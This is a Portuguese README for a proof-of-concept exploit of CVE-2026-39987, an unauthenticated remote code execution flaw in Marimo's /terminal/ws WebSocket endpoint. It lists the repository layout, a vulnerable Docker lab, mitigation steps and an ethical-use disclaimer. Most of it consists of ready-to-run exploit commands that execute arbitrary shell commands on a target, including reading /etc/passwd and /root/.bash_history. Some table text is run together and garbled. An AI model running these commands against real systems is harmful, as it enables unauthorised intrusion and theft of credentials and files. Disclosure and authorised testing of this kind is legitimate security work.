
CVE-2026-39987
Execução Remota de Código Não Autenticada no Marimo via Terminal WebSocket
CVE-2026-39987 é uma vulnerabilidade crítica de Execução Remota de Código Pré-Autenticação que afeta versões do Marimo anteriores a 0.23.0. O endpoint WebSocket /terminal/ws contorna completamente a autenticação, permitindo que qualquer atacante não autenticado obtenha um shell PTY interativo completo com os privilégios do processo Marimo (tipicamente root em ambientes Docker).
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// para ws:// e https:// para wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Exploit Principal
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Notebooks persistentes (opcional)
├── README.md
└── LICENSE
pip install websocket-client
# Uso básico
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# Enumeração do sistema
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Ler arquivos sensíveis
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
Depois teste:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws via firewall ou regras de proxyEste Prova de Conceito destina-se apenas a fins educacionais e testes de segurança autorizados. O autor não é responsável por qualquer uso indevido ou danos causados por esta ferramenta. Certifique-se de ter permissão explícita antes de testar qualquer sistema.
Use de forma ética e responsável.
Feito para pesquisa em segurança e divulgação responsável.